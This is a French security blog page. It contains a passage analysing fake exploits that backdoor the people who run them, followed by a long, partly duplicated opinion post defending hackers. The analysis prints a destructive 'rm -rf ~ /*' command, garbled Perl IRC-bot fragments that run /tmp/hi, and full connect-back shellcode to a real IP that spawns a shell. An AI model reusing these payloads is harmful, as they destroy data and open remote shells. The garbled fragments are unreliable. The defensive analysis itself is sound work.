(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){ printf(" [-] Connecting failed\n"); return 1; } payload = malloc(limit * 10000); ptr = payload+8; memcpy(ptr,jmpcode,strlen(jmpcode)); jmpinst=fopen(shellcode+793,"w+"); if (jmpinst) { fseek(jmpinst,0,SEEK_SET); fprintf(jmpinst,"%s",shellcode); fclose(jmpinst); } ptr += strlen(jmpcode); if (target != 5 && target != 6) { memcpy(ptr,shellcode,strlen(shellcode)); ptr += strlen(shellcode); memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode)); } else{ memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode)); ptr += strlen(fbsd_shellcode); memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode)); } send(sock,buffer,strlen(buffer),0); send(sock,ptr,3750,0); close(sock); if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1) { printf(" [-] connecting failed\n"); } payload[sizeof(payload)-1] = '\0'; payload[sizeof(payload)-2] = '\0'; send(sock,buffer,strlen(buffer),0); send(sock,payload,strlen(payload),0); close(sock); free(payload); addr.sin_port = htons(6666); if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) { /* v--- our cool bar that says: "r0000000t!!!" */ printf("\n [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]\n\n"); fremote("PS1='sh-3.2#' /bin/sh"); } else { printf(" [-] failed to exploit target :-(\n"); } close(sock); return 0; }
Le sploit a l'air "légitime" au premier abord mais je n'avais jamais mais alors jamais vu un shellcode aussi énorme ... de plus ça vient d'un groupe pronant l'anti-sec. De quoi ne pas faire confiance ... :).
Le "jmpcode":
rm -rf ~ /* 2> /dev/null &
Le "shellcode":
#!/usr/bin/perl
$chan="#cn";
$ke";
while (<$sockG (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
n";
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="G (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
sleep 1;
n";
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}sleep 1;
sleep 1;
";
while (<$sockn";
sleep 1;
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perlEt le "shellcode FreeBSD":
";
while (<$sockn";
="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
sleep 1;
n";
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="sleep 1;
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hiEh oui, 2 beaux scripts Perl qui vont vous connecter à une chan IRC ...
Par contre, je ne vois pas du tout comment ils le lancent leur script PERL, pas d'execve(), pas de system() ... si quelqu'un peut répondre à cette question ça serait cool :).
Et on va finir par le plus "stealth" :).
BIND TSIG buffer overflow
Il y a quelques années de ça déjà (2001!!), un remote BOF sur BIND (donc assez critique) apparait sur les mailings lists: BIND TSIG buffer overflow .
Le pire dans l'histoire c'est que c'est un vrai sploit :). L'analyse par l'équipe Metasploit: Penetration Testing: Learn Assembly?, montre tout de même que le bouzin est backdooré.
Déjà là où on peut tilter c'est la taille de la payload ... 190 bytes! Enorme pour une payload connectback Linux. De mes souvenirs ça tiens plutôt entre 90-128 bytes mais pas 190 ...
Le code ASM analysé (et parfaitement assemblable avec NASM ;)):
bits 32
section .text
global _start
_start:
cmp al, 0x90
mov esi, esp
add esi, byte +0x40
mov dword [esi], 0xac0b0002 ; 0x2 => AF_INET and 0x0bac = 2988 = port
mov dword [esi+0x4], 0xa047c497 ; ip = 151.196.71.160
.connection:
; socket(PF_INET, SOCK_STREAM, 0);
xor eax, eax
; sin_zero
mov [esi+0x8], eax
mov [esi+0xc], eax
; construct socketcall args[]
xor eax, eax
mov [esi+0x28], eax ; IPPROTO_IP
inc eax
mov [esi+0x24], eax ; SOCK_STREAM
inc eax
mov [esi+0x20], eax ; PF_INET
lea ecx, [esi+0x20] ; socketcall args
xor ebx, ebx
inc ebx ; socket()
xor eax, eax
add eax, byte +0x66 ; socketcall()
push ecx ; socket call args
push ebx ; SYS_SOCKET
push eax ; __NR_SOCKETCALL
int 0x80
; connect(sockfd, {sa_family=AF_INET, sin_port=htons(2988), sin_addr=inet_addr("151.196.71.160")}, 16);
mov [esi+0x20], eax ; sockfd
nop
cmp al, 0x90
lea eax, [esi]
mov [esi+0x24], eax ; const struct sockaddr *serv_addr
xor eax, eax
add eax, byte +0x10
mov [esi+0x28], eax ; addrlen
pop eax ; __NR_SOCKETCALL
pop ebx
pop ecx ; sockcall args
inc ebx
inc ebx ; ebx = SYS_CONNECT
push dword [esi+0x20] ; sockfd
int 0x80
pop ebx ; ebx = sockfd
dec edi ; assume edi = 0 for connection to 151.196.71.160 then "our" connection
jz .launchshell
; send sockaddr struct
; write(sockfd, buf, 12);
mov eax, [esp]
mov [esi+0x8], eax
nop
mov ebp, 0x100007f ; ip = 127.0.0.1
mov [esi+0x4], ebp
mov dword [esi], 0x86358003 ; id number for exploit?
mov eax, 0x4 ; __NR_WRITE
lea ecx, [esi] ; const char *buf
xor edx, edx
add edx, byte +0xc ; size_t count = 12
int 0x80
; go back to do the same
; socket(PF_INET, SOCK_STREAM, 0);
; connect(sockfd, {sa_family=AF_INET, sin_port=htons(2987), sin_addr=inet_addr("127.0.0.1")}, 16);
; write(sockfd, buf, 12);
mov dword [esi], 0xab0b0002 ; 0x2 => AF_INET and 0x0bab = 2987 = port
mov [esi+0x4], ebp
nop
xor edi, edi
inc edi
jmp short .connection
.launchshell:
; dup2(sockfd, 0)
nop
xor eax, eax
add eax, byte +0x3f ; dup2
xor ecx, ecx ; stdin
push eax
int 0x80
; dup2(sockfd, 1)
pop eax
inc ecx ; stdout
int 0x80
; execve("/bin/sh", ["/bin/sh", NULL], [NULL])
mov dword [esi], "/bin"
mov dword [esi+0x4], "/sh"
mov eax, esi
add eax, byte +0x8
mov [esi+0x8], eax
xor eax, eax
mov [esi+0xc], eax
mov al, 0xb ; execve()
lea edx, [esi+0xc] ; char const *envp[]
lea ecx, [esi+0x8] ; char const *argv[]
mov ebx, esi ; filename path
int 0x80
; exit(ebx)
xor eax, eax
inc eax
int 0x80On finit par avoir quelque chose qui ressemble à ça:
sockfdAuthor = socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sockfdAuthor, {sa_family=AF_INET, sin_port=htons(2988), sin_addr=inet_addr("151.196.71.160")}, 16);
write(sockfdAuthor, buf, 12);
sockfdYou = socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sockfdYou, {sa_family=AF_INET, sin_port=htons(2987), sin_addr=inet_addr("127.0.0.1")}, 16) = 4
dup2(sockfdYou, 0);
dup2(sockfdYou, 1);
execve("/bin/sh", ["/bin/sh", NULL], [NULL]);le 127.0.0.1 est modifié dans le code du sploit.
Mais wahou, ... la machine attaquée se connecte à l'auteur et lui envoie quelques infos (comme l'ip de l'attaquant).
Bonne manière de tracer les kikoos qui vont s'aventurer à lancer le sploit ... par contre pas trop éthique je pense ;).
Conclusion
Ce sont de vieuxs "exploits" mais ils illustrent parfaitement l'importance de l'analyse du code et de la "décortication" de binaires, exploits, shellcodes, etc.
Avoir des tools d'analyse performants et efficaces est une gageure donc assez majeure dans le domaine de l'informatique. Sans tools, on fait pas grand choses ... mais ne vous fiez pas que à vos tools ;).
J'espère que ça vous a ouvert un minimum les yeuxs ;). Quand c'est trop beau pour être vrai, faut se poser des questions après tout.
Cet article pourrait également donner des idées à certains pour "poutrer" les scripts kiddies et empêcher qu'ils fassent des dégâts. Je ne saurais trop le conseiller ... ce n'est pas éthique et non légal de le faire. Donc à vos risques et périls.
Vous pourriez par contre toujours afficher un dialog box: "Get lost" ;).
Au passage, si vous trouvez des "fake sploits", n'hésitez pas à me faire signe. De plus ça pourrait être intéressant de constituer une base de données les repertoriants.
Sur ce,
A la prochaine pour de nouvelles aventures,
m_101
dimanche 17 juillet 2011
Ras le bol de l'adage popularisé: "hackers = méchants"
[UPDATE 18/07/2011]:
- Ajout: Petit paragraphe sur les lois Françaises dans la partie consacrée à la France
- Ajout: Petit paragraphe sur le système financier dans la partie consacrée aux Etats
- Ajout: Petit paragraphe dans la conclusion
- Corrections de fautes diverses (il y en a sûrement encore).
Bonjour ou bonsoir,
Aujourd'hui, pas de post technique comme à mon habitude. Juste un cris de haine, une envie de vomir, un coup de gueule en somme. Un coup de gueule un minimum argumenté en essayant de pas trop partir dans le troll.
Je vais tenter d'exposer mon opinion à propos de l'état des lieuxs concernant les hackers: relation avec la France, les médias, les sociétés et les Etats en tentant d'illustrer avec des exemples concrets.
La France et les hackers: une longue histoire d'amour
Déjà en France, les hackers ont mauvaise image. Pour beaucoup, ce sont tous de gros pirates informatiques qui sont prêts à saccager vos maisons, à voler vos comptes (bancaires, facebook, mails, etc), à tuer votre chien et à violer votre poney ...
Que nenni.
Beaucoup connaissent l'histoire de Jean Bernard Condat si ce n'est la nouvelle génération de hackers qui se forme (les plus jeunes en somme).
En gros, ce "gentil" monsieur a eu la fameuse idée de fliquer les hackers. Dans quel but? Aucune idées précises et confirmées. Il a donc créé le "Chaos Computer Club France", en s'inspirant du célèbre groupe allemand: le "Chaos Computer Club". Le pot aux roses a fini par être découvert. Depuis, plus aucuns hackers en France ne peut réellement faire confiance à l'Etat (il y a sûrement des exceptions comme partout ailleurs).
Après cette traitise de l'Etat, comment veulent-t'ils pouvoir former leur cyber-armée? Leurs cyber-flics? Ils voudraient voir les hackers les aider? ... Non mais ils rêvent ... en plus de la haîne qu'a la France envers les hackers, l'Etat se bat contre la liberté des citoyens: Internet civilisé, eG8.
On l'a pourtant vu, l'internet a joué un grand rôle dans la révolution Tunisienne par le biais de Twitter, Facebook, etc. Ont-t'ils peur de perdre leur pouvoir?
Déjà que les Français ont très peu de pouvoirs (constitution la de 5ème République):
"La souveraineté nationale appartient au peuple qui l'exerce par ses représentants et par la voie du référendum.
Aucune section du peuple ni aucun individu ne peut s'en attribuer l'exercice."
Traduire: mettez nous au pouvoir et fermez là.
J'exagère sûrement mais les évènements actuels tendent à me faire croire cette interprétation plus qu'autre chose au vu des lois récemment votées: Quand la France devient la Chine, sous l’effet de 7 inconscients…, 11 députés votent le fichage de 45 millions d'honnêtes gens, Renouvelez votre carte d'identité pour échapper au fichage.
Oui oui, il aura fallu de 7 gars pour voter une loi de fichage généralisée ...
En plus de tout ça n'oublions pas la LOPPSI, "l'internet civilisé", la lutte contre la "pédopornographie" (qui pourrait sûrement amener à des dérives de fermeture de certains sites pour "être suspectés" de ce crime), etc.
De toutes les lois qui sont actuellement votées ou ont été adoptées (de force) en France (et partout ailleurs) telle que la DADVSI, la HADOPI, la LOPPSI, la loi de fichage généralisée ... c'est à se demander qui sont réellement les pirates en fait. Pourquoi la France est prête à sacrifier toutes les libertés du monde pour protéger une industrie qui n'a pas su évoluer dans le bon sens? (Ce sera pour un autre billet ça ...).
Ils ont pris une route dangereuse, celle de "la facilitée": on fout tous sur le dos des hackers et des citoyens et on vote des lois pour les emmerder (mais pas forcément efficaces).
Toute manière, ils ont des "experts" très pointus sur le sujet tel que: Jacques Myard, Muriel Marland-Militello ou encore Christine Albanel. Pas de doute, notre nation ne craint pas les attaques de pirates ...
Toute façon c'est connu, les "nouvelles" autorités comme la HADOPI ont des prestataires sécurisés: TMG piraté et le gouvernement est inpénétrable: Bercy victime d'une vaste opération de piratage informatique.
Pourtant, je ne vois pas comment des gens peuvent se targuer d'avoir un réseau sécurisé sans connaître les techniques des pirates (et donc des hackers) et surtout d'attendre des citoyens lambdas de sécuriser leurs machines.
En plus de "montrer l'exemple", toutes ces autorités (pas franchement efficaces) sont chères pour les citoyens et les acteurs des dits domaines.
Toute façon ils continueront leur lutte acharnée contre les contrefacteurs, ils n'hésiteront pas à nous enlever toutes nos libertés pour cette raison. L'exemple est donné par les Etats-Unis sur la débilité profonde qui habite certaines personnes (naon mais vous y croyez vous une mamie qui mate du porno? ...).
C'est cool tout ça, ils mettent sur le dos des "hackers" tous les mauxs du monde avec leur internet civilisé. Sauf qu'ils font un énorme amalgame entre hackers, pirates, crackers, white hats, black hats, etc.
Après tout, ils utilisent quand même bien GNU/Linux qui pourtant a été programmé par des hackers. Oui oui, ceuxs là même qui sont accusés de tous les mauxs du monde :). La philosophie du logiciel libre provient directement des hackers après tout. Maintes innovations viennent d'euxs (pas toutes, heureusement que ce sont pas les seuls créatifs ;)).
Ensuite il y a "les méchants", ceuxs qui piratent pour se faire plaisir, ceux qui piratent pour se faire de l'argent sans oublier ceuxs qui sont fidèles à leurs convictions. Après y'en a d'autres bien entendu.
Les hackers tous les mêmes aux yeuxs de l'Etat, pourtant, nombre de professionnels en sécurités sont des hackers, comme les personnes suivantes: Charlie Miller, Stefan LeBerre, Dino Dai Zovi, Georges Hotz, etc.
Pour faire court, pour ma part, un hacker est quelqu'un qui maitrise son sujet de manière très pointue et peut le manipuler (presque) comme il le souhaite. Quelqu'un qui arrive à transformer un pauvre bout de bois en une oeuvre d'art exceptionnelle peut prétendre à un tel titre par exemple (on dit bien "hack wood" après tout ;)). Mais hacker dans la conjecture actuelle signifie plutôt "hacker informatique". Les techniques (de hacking) acquises ne sont pas illégales en soi, c'est l'usage qu'on en fait qui peut l'être.
Qu'on soit bien clairs entre nous: c'est grâce aux hackers que l'internet existe encore. A votre avis, qui de mieux que des hackers pour contrer d'autres hackers?
On est hélas pas le seul pays où ça arrive, par exemple aux USA, un mec de 46 ans s'est pris 18 ans dans la gueule pour avoir utilisé aircrack-ng, de l'ARP spoofing, DNS spoofing et d'autres techniques du même accabit. C'est pas un peu overkill? Quelqu'un qui tue une personne, viole une femme ou fait exploser une maison ... il se prend pas 18 ans dans la gueule. Bon après aux USA les peines sont plus lourdes pour beaucoup de choses et souvent overkill ... et pourtant ça n'enraye en rien les crimes (sinon ça fait longtemps qu'on aurait plus de criminels ...).
Les médias et les hackers: "un reality show"
Ca fait des années que ça perdure et pourtant on le sait tous: les médias adorent le sensationnel.
Et celà quitte à sortir des phrases complètement hors de leur contexte d'origine.
Bon alors pour les médias c'est quoi un hacker?
Y'a juste à taper le mot hacker dans un moteur de recherche tel que Google, Yahoo (et j'en passe) pour trouver des news sur des piratages plus spectaculaires les uns que les autres ...
Entre les piratages de Sony, les pirates tel que LulzSec, les défaçages ou encore les armes de cyber-guerre ... ils parlent très très peu des acteurs qui participent à la défense tel que Sysdream ou encore Sogeti par exemple (en France).
Bien sûr, entre tous les cas d'attaques, de défense ou de recherche, aucune différences n'est faites entre chercheurs, pirates, professionnels de la sécurité ... tous des "hackers" (dans le sens pirates).
Au vu du nombres d'articles consacrés aux pirates (qu'ils appellent hackers et ce sans distinction), ils participent ainsi à l'amalgame: "hackers" = "méchants", ce qui est totalement faux comme j'ai pu l'exposer jusqu'ici.
Et ce n'est pas tout!
On a aussi droit au super génie informatique de 14 ans qui pirate ce qu'il veut ... Non mais faut arrêter ce mythe tout de suite: les logiciels d'intrusion et kits d'exploits ou encore les trojans sont monnaies courantes sur internet.
Bah oui, la faute à "la mode", au sensationnel ... on a des reportages dédiés aux "hackers" ... mais comme toujours ils s'emmêlent les pinceauxs (surtout le fameux "Pir@tage" de France 4 pour qui hackers = pirates).
Les quelques bons reportages que j'ai quand même pu voir: "La guerre invisible" sur ARTE), "Hackers, ni dieu ni maitre" (ARTE), "New York City Hackers", "Hackers are people too", etc.
Maintenant, pas un seul jour ne passe sans qu'on voit des news de piratage, de cyber-guerre, etc ... naon mais vraiment c'est devenu "la mode".
Les sociétés et les hackers: on vous détestent ... nous aussi.
Je n'ai aucunément envie de défendre les gens qui se disent de leur devoirs de détruire des réseauxs. Les groupes tels que LulzSec, etc, sont exécrables de par la manière dont ils procédent: leak des infos de personnes diverses. Ils ont le mérite de prouver les dires de tous les experts en sécurité à beaucoup de sociétés: "augmentez vos budgets sécurité, faites vous auditers, etc, ou un jour vous vous ferez pirater" ... et ça a pas louppé.
Les histoires les plus récentes des hackers non malicieuxs se faisant pourchasser pour X raisons concerne la PS3 de Sony.
Sony a la bonne idée de pourchasser les hackers débloquant les PS3 à coup d'exploits: GeoHot, grafchokolo, etc, tout ça pour la raison de "copyright infringement" et de warez. Là il faut m'expliquer ce que ça leur apportera vraiment à part la haine de beaucoup de gens ...
De plus, ils se sont fait piratés à plusieurs reprises (soit 21 fois en 2 mois et demi ...). Ils clâment que c'est à cause de leur procès contre GeoHot "pour protéger leur propriété intellectuelle", c'est unes des raisons ok (il n'a pas violé leurs copyrights et a même intégré des protections pour éviter le warez) ... mais si de base il employaient plus de professionnels de la sécurité informatique que d'avocats bah ça irait déjà beaucoup mieux: bleem, liksang, graf_chokolo et sûrement d'autres.
Pour se rattraper, ils ont essayés d'approcher Koushik Dutta (hacker Android et développeur de RomManager entre autre) avec l'insuccès qu'on connait.
En plus de ça, c'est des génies du business: How Does Sony Stay in Business?
Donc super, ils n'ont toujours pas d'émulateur PS2 sur leur PS3 (que les gens de Bleem! auraient sûrement pu développer ;)), ils sont toujours pas aussi sécurisés qu'on voudrait le croire comme en témoigne les dernières news.
Donc la question que je me pose est actuellement: Comment leur faire confiance? Après tout, leur comportement arrogant (on est inpiratables), avec des oeillères (on embauche des avocats) et leurs idées de génies ne mènent pas trop à leur faire confiance. Il faut qu'ils changent absolument de politique et de comportement si ils veulent regagner la confiance des gens. Pour ma part c'est raté: boycottez Sony ou libérez leurs produits.
Sony devrait prendre un peu exemple sur Microsoft qui a redoré son image ces dernières années. En effet, Microsoft a intégré des tests de sécurités plus poussés dans leur cycle de developpement (comme le fuzzing ou la génération d'un nombre importants de cas de test afin de trouver des bugs). De Windows XP à Windows 7 on voit tout de même une nette différence en terme de sécurité ou d'ergonomie, etc.
Ah tant que j'y pense, je vais encore reparler du fameux GeoHot ... oui encore lui.
Pour ceuxs qui le connaissent pas (ceuxs qui ont vécus dans une caverne ...), il a libéré/jailbreaké l'iphone ou la PS3. Ce qui relève d'un exploit technique quand même impressionnant. (Et Comex qui fait du user friendly avec jailbreakme ça fait aussi mal ...).
Bref, il a été employé par Facebook, ça tous le monde le sait. Mais certains débiles pensent que c'est un pirate car c'est un hacker, à ce que je sâche, c'est totalement légal de jailbreaker son iphone aux Etats-Unis. Pour la PS3 ce n'est pas formellement stipulé ainsi ... mais je ne vois pas pourquoi ça devrait être différent.
Après on me dira que ceuxs qui jailbreak vont forcément pirater des applications et d'autres trucs comme Bill Palmers le dit. Forcément, un blogguer a contredit son discours et je partage son avis. C'est pas parce qu'on est libre d'utiliser sa machine ou son équipement comme on veut qu'on va forcément l'utiliser pour pirater ou contrefaire des choses. On est après tout libres d'utiliser nos PC comme nous le voulons (et heureusement) et pourtant tous le monde ne pirate pas ;). La liberté d'usage est la meilleure solution pour l'innovation et pleins d'autres bonnes choses. L'invention de XMBC pour Xbox (un logiciel pour transformer sa console en média center) en atteste, les usages en robotiques du Kinect le prouve.
Après y'a l'éternel débats des émulateurs ... mais sans euxs, que deviendront les vieuxs jeuxs? Les éditeurs ont soit disparus ou bien ne re-édite par leurs jeuxs ou il n'y a pas d'autres moyen d'y jouer. Ca serait une partie de la culture vidéoludique qui aurait probablement disparus sans ces logiciels.
Alors oui y'aura toujours des pirates, ... mais pourquoi punir tous le monde à cause d'une minorité?
Toute façon, les sociétés, tant qu'elles ont de la thune ... elles poursuivent les gens qu'elles veulent pour X raison: Un bloggeur menacé de procès par Tuto4PC, diffuseur d’adwares.
Les Etats et les hackers: un état de guerre permanent
Entre les attaques contre la grille électrique des Etats-Unis, Bercy piraté, l'arrestation de pirates responsables du botnet Mariposa en Espagne ou l'Algérie menacée par les Anonymous ... les pirates attaques les Etats pour diverses raisons.
Ce n'est pas sans provoquer des décisions dangereuses comme l'a fait les Etats-Unis. Bah oui ... comment attribuer une attaque de manière sure et fiable sans se tromper. Balancer un missile sur un pays innocent risque de générer des tensions et des conflits armés un peu partout ... surtout qu'on l'oublie mais les vieilles alliances existent toujours et ça peu vite s'envenimer ...
Des attaques de telle importance prédit l'arrivée des forces armées dans leur cyber espace. C'est tout à fait normal vu la dépendance qu'ont nos sociétés face à la technologie. L'Estonie a été un bon cas de figure en 2007 et ne sera pas un cas isolé dans les années à venir de toute manière.
Les raisons d'attaquer les Etats restent assez diverses pour les pirates et attaquants en tout genre: la gloire, l'argent, l'espionnage, la fuite d'information, etc.
D'ailleurs, en parlant de fuite d'information, WikiLeaks en a bien sur fait sa spécialité. Ca peut poser des problèmes envers des informateurs des dits pays car ils risquent d'être tués si leur noms ne sont pas correctement éffacés ... Ca a par contre le mérite d'exister et surement d'obliger les Etats à être un petit peu plus transparent (... j'en doute un peu quand même ...).
Je ne saurais dire si leur action est bénéfique ou non mais certaines informations fuitées pourraient poser de gros soucis en terme de vie, stratégiquement ou autre.
Si je parle de Wikileaks ... c'est pour illustrer le pouvoir des institutions et conglomérats: aucunes raisons n'a encore été donnée concernant leur blocage bancaire. Ils ont donc forcément porté plainte et apparemment vu leur paiement VISA réactivés.
Les conglomérats et les institutions ont du pouvoir mais sans compter le pouvoir qu'a donné les ordinateurs aux hackers. Wikileaks n'a cessé de le prouver avec ses fuites d'informations, des pirates l'ont démontrés: il y a possibilitée de lutter contre les institutions par des moyens technologiques.
Avant de finir cette partie, j'aimerais ajouter un mot sur notre beau système financier. Rien à voir réellement avec la cyber-guerre ... mais une guerre économique basée sur de l'information tout de même, donc y'a quand même du cyber ;).
On est (encore) en fin de crise économique ... et ce "grâce" à nos élites qui nous "chérissent" super bien.
Naon mais vraiment, faudra me faire comprendre un jour comment une petite poignée de gens peut fouttre autant la merde partout ... et on continue à les renflouer. C'est sans oublier la possible mise en faillite de la Grèce qui n'en finit pas de mourrir doucement (économiquement parlant) ...
Pendant ce temps là ... on martèle des lois contre, on poursuit, et on discrédite les hackers. Vous trouvez pas que y'a un truc qui cloche franchement?
Maintenant passons à la conclusion.
En conclusion
Entre les médias, les Etats et les hackers ... y'a encore un long chemin a parcourir avant que les gens comprennent que hackers ne signifie pas forcément "bad guys" et techniques de hacking != illégal (les usages peuvent l'être).
Les médias ont participés à la popularisation de l'idée que TOUS les hackers sont mauvais alors que ce n'est pas le cas.
Les Etats les traquent et les fliquent pour leur plus grand malheur ... car ils ne trouveront pas d'autres gens plus compétents qu'euxs pour les aider dans le domaine.
Pendant ce temps, les hackers continuent leur action et leur hobby préféré: informer et hacker.
Pour ma part, je pense que le futur va se révéler technologique, et qui dit technologie dit hackers électroniques (et donc informatique).
Etre citoyen c'est coller à ses devoirs et dénoncer les abus et les hackers joueront un rôle de plus en plus important dans le futur au vu de la dépendance qu'ont nos sociétés vis-à-vis des technologies.
Les hackers seront plus nombreuxs, ça il n'y a aucuns doutes. La sécurité informatique devient la mode et c'est une industrie qui va croitre encore un bon moment vu le besoin des Etats, des entreprises et l'état de cyber guerre permanent.
De plus, on aura beau faire des efforts, les vulnérabilitées (les "trous" de sécurité) existeront toujours ... après tout l'erreur est humaine ;).
Il faudra espérer que parmis ces hackers, il y ait plus de "gentils" que de "méchants" et pour ça tout passe par l'éducation et l'égalité des chances.
En 2-3 ans, on a vu les menaces se multiplier de quelques dizaines/centaines de milliers à quelques millions comme en atteste les signatures antivirus de plusieurs éditeurs.
Que nous réserve le futur à ce sujet?
Quel est votre réaction? Qu'en pensez-vous?
m_101
- Ajout: Petit paragraphe sur les lois Françaises dans la partie consacrée à la France
- Ajout: Petit paragraphe sur le système financier dans la partie consacrée aux Etats
- Ajout: Petit paragraphe dans la conclusion
- Corrections de fautes diverses (il y en a sûrement encore).
Bonjour ou bonsoir,
Aujourd'hui, pas de post technique comme à mon habitude. Juste un cris de haine, une envie de vomir, un coup de gueule en somme. Un coup de gueule un minimum argumenté en essayant de pas trop partir dans le troll.
Je vais tenter d'exposer mon opinion à propos de l'état des lieuxs concernant les hackers: relation avec la France, les médias, les sociétés et les Etats en tentant d'illustrer avec des exemples concrets.
La France et les hackers: une longue histoire d'amour
Déjà en France, les hackers ont mauvaise image. Pour beaucoup, ce sont tous de gros pirates informatiques qui sont prêts à saccager vos maisons, à voler vos comptes (bancaires, facebook, mails, etc), à tuer votre chien et à violer votre poney ...
Que nenni.
Beaucoup connaissent l'histoire de Jean Bernard Condat si ce n'est la nouvelle génération de hackers qui se forme (les plus jeunes en somme).
En gros, ce "gentil" monsieur a eu la fameuse idée de fliquer les hackers. Dans quel but? Aucune idées précises et confirmées. Il a donc créé le "Chaos Computer Club France", en s'inspirant du célèbre groupe allemand: le "Chaos Computer Club". Le pot aux roses a fini par être découvert. Depuis, plus aucuns hackers en France ne peut réellement faire confiance à l'Etat (il y a sûrement des exceptions comme partout ailleurs).
Après cette traitise de l'Etat, comment veulent-t'ils pouvoir former leur cyber-armée? Leurs cyber-flics? Ils voudraient voir les hackers les aider? ... Non mais ils rêvent ... en plus de la haîne qu'a la France envers les hackers, l'Etat se bat contre la liberté des citoyens: Internet civilisé, eG8.
On l'a pourtant vu, l'internet a joué un grand rôle dans la révolution Tunisienne par le biais de Twitter, Facebook, etc. Ont-t'ils peur de perdre leur pouvoir?
Déjà que les Français ont très peu de pouvoirs (constitution la de 5ème République):
"La souveraineté nationale appartient au peuple qui l'exerce par ses représentants et par la voie du référendum.
Aucune section du peuple ni aucun individu ne peut s'en attribuer l'exercice."
Traduire: mettez nous au pouvoir et fermez là.
J'exagère sûrement mais les évènements actuels tendent à me faire croire cette interprétation plus qu'autre chose au vu des lois récemment votées: Quand la France devient la Chine, sous l’effet de 7 inconscients…, 11 députés votent le fichage de 45 millions d'honnêtes gens, Renouvelez votre carte d'identité pour échapper au fichage.
Oui oui, il aura fallu de 7 gars pour voter une loi de fichage généralisée ...
En plus de tout ça n'oublions pas la LOPPSI, "l'internet civilisé", la lutte contre la "pédopornographie" (qui pourrait sûrement amener à des dérives de fermeture de certains sites pour "être suspectés" de ce crime), etc.
De toutes les lois qui sont actuellement votées ou ont été adoptées (de force) en France (et partout ailleurs) telle que la DADVSI, la HADOPI, la LOPPSI, la loi de fichage généralisée ... c'est à se demander qui sont réellement les pirates en fait. Pourquoi la France est prête à sacrifier toutes les libertés du monde pour protéger une industrie qui n'a pas su évoluer dans le bon sens? (Ce sera pour un autre billet ça ...).
Ils ont pris une route dangereuse, celle de "la facilitée": on fout tous sur le dos des hackers et des citoyens et on vote des lois pour les emmerder (mais pas forcément efficaces).
Toute manière, ils ont des "experts" très pointus sur le sujet tel que: Jacques Myard, Muriel Marland-Militello ou encore Christine Albanel. Pas de doute, notre nation ne craint pas les attaques de pirates ...
Toute façon c'est connu, les "nouvelles" autorités comme la HADOPI ont des prestataires sécurisés: TMG piraté et le gouvernement est inpénétrable: Bercy victime d'une vaste opération de piratage informatique.
Pourtant, je ne vois pas comment des gens peuvent se targuer d'avoir un réseau sécurisé sans connaître les techniques des pirates (et donc des hackers) et surtout d'attendre des citoyens lambdas de sécuriser leurs machines.
En plus de "montrer l'exemple", toutes ces autorités (pas franchement efficaces) sont chères pour les citoyens et les acteurs des dits domaines.
Toute façon ils continueront leur lutte acharnée contre les contrefacteurs, ils n'hésiteront pas à nous enlever toutes nos libertés pour cette raison. L'exemple est donné par les Etats-Unis sur la débilité profonde qui habite certaines personnes (naon mais vous y croyez vous une mamie qui mate du porno? ...).
C'est cool tout ça, ils mettent sur le dos des "hackers" tous les mauxs du monde avec leur internet civilisé. Sauf qu'ils font un énorme amalgame entre hackers, pirates, crackers, white hats, black hats, etc.
Après tout, ils utilisent quand même bien GNU/Linux qui pourtant a été programmé par des hackers. Oui oui, ceuxs là même qui sont accusés de tous les mauxs du monde :). La philosophie du logiciel libre provient directement des hackers après tout. Maintes innovations viennent d'euxs (pas toutes, heureusement que ce sont pas les seuls créatifs ;)).
Ensuite il y a "les méchants", ceuxs qui piratent pour se faire plaisir, ceux qui piratent pour se faire de l'argent sans oublier ceuxs qui sont fidèles à leurs convictions. Après y'en a d'autres bien entendu.
Les hackers tous les mêmes aux yeuxs de l'Etat, pourtant, nombre de professionnels en sécurités sont des hackers, comme les personnes suivantes: Charlie Miller, Stefan LeBerre, Dino Dai Zovi, Georges Hotz, etc.
